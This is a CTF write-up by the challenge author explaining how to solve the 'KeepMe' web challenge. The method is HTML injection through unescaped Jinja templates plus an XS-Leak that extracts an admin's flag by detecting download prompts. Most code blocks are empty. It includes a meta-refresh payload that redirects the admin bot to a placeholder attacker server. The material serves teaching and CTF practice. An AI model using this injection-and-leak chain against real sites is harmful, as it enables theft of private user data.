KeepMe Polyhx 24h CTF Writeup

KeepMe Polyhx 24h CTF Writeup


Following our strategy in supporting CTFs and cybersecurity community, Yogosha partnered up with Polyhx Canada in their 24h CTF and created a Hard challenge called KeepMe.

We were so glad to hear your positive feedbacks and creative  solutions.



CTF Results:


Before diving into technical stuffs, we want to congratulate the CTF winners and our new community  members Who managed to solve KeepMe challenge in creative ways. Tha challenge had only two solves at the end of the CTF.



Author’s solution :


KeepMe was a client side challenge and its source code was given. After visiting the challenge’s link you will have to register an account and login to get access to the notes panel where all the features reside. A quick look to the code reveals that the login and register features are safe.


We can start by playing a bit with the functionalities:

  1. You can create a note and view it.
  2. You can search for a text and see if it's written in a note or not.



The search functionality works as follow: if there is a result you will have a prompt to download the corresponding note else you have "Not Found" message.

This the code responsible of the search logic:



First Steps


Firstly, a keen eye may have noticed that the admin report feature only accept urls from the same domain so we will need to find an XSS or a HTML Injection maybe.

Reviewing the source code you may notice the following part in /view :



A weird behaviour from flask can be in hand here, if the extension of a template file is different than ".html" , ".xhtml",".htm" and ".xml" so it won't be auto-escaped, you can confirm this behaviour if we look at select_jinja_autoescape function in flask HERE .



Since the extension here is .jinja2 so we can inject anything we want in the notes and it won't be escaped but unfortunately checking the client side source code we can see the following strict CSP :

<meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'">


XSLeak Part

Our goal here is to leak the flag stored in a note in the admin side, there is two possible ways to achieve this goal in this case:

  1. Find an XSS in the website and retrieve  the flag : Not possible because of the strict CSP in this scenario
  2. Leak the flag char by char using XSLeak.


We can make use of the fact that the download prompt is triggered for each search operation that returns a valid result, so we start searching char by char for the flag and each time we hit the correct char we can detect the download prompt using the following JS Code:



If a page load causes a download, it does not trigger a navigation and the window stays within the same origin so no exception is fired and if there is no download we won't be able to access .origin and a cross-origin exception will be throwed.

I think the idea is clearer now, we know that the flag starts with FLAG{ so we will start iterating over the characters:





If we hit the correct first character of the flag the download will be triggered and we will detect it, then we can continue  testing the following character until we manage to leak all the flag.

My final exploit was:



The exploit below will extract the flag char by char to the hacker's controlled server but there is a missing part here, we can only report links from the same domain to the admin's bot. This can be easily bypassed using meta tag in /view endpoint since the CSP doesn't prohibit its usage.

So the final scenario will be as follow:

1- we create a note with the following content:

<meta http-equiv="refresh" content="2;url=http://Your-SERVER/exploit.html" />


2- We send the note"s link to the admin ( in the same domain ) and he will be redirected to our controlled server where the exploit that will leak the flag char by char will be executed!

And Bingo we will get our flag!





There are also other methods that can be done to solve the challenge but we decided to focus on the intended one. We hope you enjoyed the CTF and our challenge, you can always follow us on social media to know more about our future CTFs and events! See you in the next writeups!


Written By: Ahmed Belkahla